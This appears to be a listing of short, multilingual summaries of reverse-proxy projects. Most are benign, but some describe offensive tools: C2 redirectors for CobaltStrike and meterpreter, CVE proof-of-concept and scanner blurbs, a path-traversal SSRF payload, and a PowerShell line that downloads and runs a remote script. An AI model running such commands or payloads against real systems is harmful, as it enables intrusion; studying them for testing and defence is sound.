frp

frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...

frp

frp README | 中文文档 frp 是一个专注于内网穿透的高性能的反向代理应用，支持 TCP、UDP、HTTP、HTTPS 等多种协议，且支持 P2P 通信。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。 Sponsors frp 是一个完全开源的项目，我们的开发工作完全依靠赞助者们的支持。如果你愿意加入他们的行列，请考虑 赞助 frp 的开发。 Gold Sponsors The complete IDE crafted for professional Go developers The sovereign cloud that puts you ...

redi

redi Configuración automatizada de redireccionador compatible con RATs HTTP CobaltStrike Beacon, meterpreter, etc. y CobaltStrike DNS Beacon. El script puede configurar un proxy inverso nginx o un proxy/reenviador DNS usando dnsmasq. Si se selecciona HTTPS, configurará automáticamente letsencrypt...

pomerium

Pomerium es un proxy inverso consciente de la identidad y el contexto. Pomerium establece conexiones seguras y sin cliente a aplicaciones web internas y otros servicios sin necesidad de una VPN corporativa. Pomerium es: Más fácil con acceso sin cliente. Más rápido por ser sin túneles y desplegado...

mkdev

mkdev HTTPS real para desarrollo local — con TUI y uso compartido en LAN. mkdev ejecuta HTTPS de confianza en .local. Un único binario Go: autoridad de certificados + proxy inverso + /etc/hosts + difusión mDNS + un TUI completo. Qué lo hace diferente: Uso compartido en LAN Marca una ruta como...

grafana-CVE-2021-43798

Grafana CVE 扫描器 21-43798 0.1 用于扫描 CVE-2021-43798 中发现的 Grafana 路径遍历漏洞的扫描器 免责声明：此工具仅用于教育目的！ CVE 参考资料： 1 - NIST CVE 详情 2 - Grafana 说明 临时解决方案 所有 v8.0.0-beta1 至 v8.3.0 之间的安装版本应尽快升级。 如果无法升级，在 Grafana 前运行一个反向代理来规范化请求的 PATH 将缓解此漏洞。例如，envoy 中的 normalizepath 设置。 得益于我们的纵深防御方法，Grafana Cloud 实例未受此漏洞影响。...

bunkerweb

通用插件为 BunkerWeb 提供了核心配置框架，允许您定义控制 Web 服务如何受保护和交付的基本设置。这个基础插件管理着整个 BunkerWeb 生态系统的基本方面，如安全模式、服务器默认值、日志记录行为和关键操作参数。 工作原理： 1. 当 BunkerWeb 启动时，通用插件会加载并应用您的核心配置设置。 2. 安全模式可以全局设置或按站点设置，以确定应用 的保护级别。 3. 默认服务器设置为任何未指定的多站点配置建立 了回退值。 4. 日志记录参数控制记录哪些信息以及如何格式化。 5. 这些设置构成了所有其他 BunkerWeb 插件和功能运行的基础。 多站点模式...

filtron

Filtron 反向HTTP代理，用于按不同规则过滤请求。可用于生产Web服务器和应用服务器之间，防止对应用后端的滥用。 此程序的初衷是保护 searx，但可用于守护任何Web应用。 安装与设置 $ go install github.com/asciimoo/filtron $ "$GOPATH/bin/filtron" --help 规则 一个规则有两个必需属性：name 和 actions 一个规则可以包含以下所有属性： limit 整数 - 定义在 interval 秒内允许多少个匹配请求访问应用。（如果为 0 可省略） interval 整数 - 重置规则计数的秒数范围（如果...

CVE-2026-102161 Security Advisory 0190

An unauthenticated attacker located on an adjacent private network or any attacker routed through a reverse proxy/load balancer that forwards client headers can forge their source IP address and gain administrative session privileges on the CV-CUE backend...

TProxer

TProxer 一个Burp Suite扩展，用于自动化发现基于反向代理路径的SSRF。 工作原理 • 安装 • 待办 • 加入Discord 工作原理 尝试通过基于路径的SSRF攻击访问内部API或文件。 例如 https://www.example.com/api/v1/users 我们尝试payload /..;/..;/..;/..;/ 期望获得 400 Bad Request ： 然后算法尝试找到潜在的内部API根路径： https://www.example.com/api/v1/users/..;/..;/..;/ 期望获得 404 Not Found...

lbmap

Scripts de prueba de concepto para fingerprinting HTTP avanzado, presentados en OWASP AppSecAsia 2012. Estos scripts deben considerarse PoC o calidad alfa. Se agradecen sugerencias, recomendaciones, firmas, parches y críticas a través de http://www.github.com/wireghoul/lbmap. Se incluyen las...

CVE-2023-20887

CVE-2023-20887 POC para CVE-2023-20887 VMWare Aria Operations for Networks vRealize Network Insight RCE no autenticado Análisis Técnico Se puede encontrar un análisis de causa raíz de la vulnerabilidad en mi blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/...

PowerProxy

PowerProxy PowerShell SOCKS 代理，具备反向代理功能。 PowerProxy 专为渗透测试人员设计。反向代理功能是优先考虑的特性，用于穿越拦截入站连接的网络。反向代理连接默认加密。支持 SOCKS 5 连接的 用户名/密码 认证。 设置 导入脚本： iex new-object net.webclient.downloadstring"http://192.168.0.22/PowerProxy.ps1" 或者 Import-Module \192.168.0.22\Public\PowerProxy.ps1 reverseproxyhandler.py...

Cloak

Cloak 是一种 可插拔传输，可增强 OpenVPN 等传统代理工具，以规避 复杂的审查 和 数据歧视。 Cloak 并非独立的代理程序。相反，它通过将代理流量伪装成正常的网页浏览活动来工作。与传统工具具有非常明显的流量特征并可能被简单的过滤规则阻断不同，Cloak 难以在几乎不误报的情况下被精确针对。这增加了审查行动的附带损害，因为试图阻断 Cloak 也可能损害审查方依赖的服务。 对于任何第三方观察者来说，运行 Cloak 服务器的主机与无辜的 Web 服务器是无法区分的。无论是在被动观察进出服务器的流量时，还是在主动探测 Cloak 服务器的行为时，都是如此。这是通过使用一系列...

nginx-CVE-2017-7529

Nginx越界读取缓存漏洞（CVE-2017-7529） 漏洞原理 参考阅读： https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7 http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...

CVE-2026-20896

CVE-2026-20896 La imagen oficial de Docker de Gitea hasta la 1.26.2 inclusive incluye REVERSEPROXYTRUSTEDPROXIES = en su configuración por defecto. Si activas el inicio de sesión mediante proxy inverso, ese comodín significa que cada IP de origen se trata como un proxy de confianza, por lo que...

cve-2026-20896-gitea-poc

CVE-2026-20896 Comprobador de Omisión de Autenticación de Gitea Docker Solo para operaciones autorizadas de red team / pentest. Este repositorio contiene un comprobador mínimo para CVE-2026-20896, una omisión de autenticación en las imágenes oficiales de Gitea Docker hasta 1.26.2 inclusive cuando...

CVE-2023-20887

CVE-2023-20887 POC para CVE-2023-20887 VMWare Aria Operations for Networks vRealize Network Insight RCE no autenticado Análisis Técnico Un análisis de la causa raíz de la vulnerabilidad se puede encontrar en mi blog:...

cyber-decoy

cyber-decoy 一个容器化的网络诱饵（蜜罐），它通告SSH 、RDP 和SMB ，通过eBPF 观察每个入站连接，并将每个会话反向代理到隔离的诱饵容器中。 该设计分离了两个关注点： 1. 观察。 一个附加到代理接口的 eBPF TC 分类器记录每个入站 TCP SYN，包括针对诱饵未提供服务的端口进行的扫描。这提供了对探测活动的完全可见性。 2. 交互。 代理中的用户空间反向代理接受在通告端口上的连接，并为该服务打开到诱饵容器的匹配连接，双向传输字节并记录完整会话。 这是一个用于检测和研究您拥有或获授权监控的网络上的未授权活动的防御工具。请仅在您拥有该权限的地方部署。 架构...

Astra Linux – Vulnerability in Tomcat9

If Apache Tomcat 8.5.0 to 8.5.82, 9.0.0-M1 to 9.0.67, 10.0.0-M1 to 10.0.26, or 10.1.0-M1 to 10.1.0 was configured to ignore invalid HTTP headers by setting rejectIllegalHeader to false the default for 8.5.x only, Tomcat would not reject requests containing an invalid Content-Length header. This...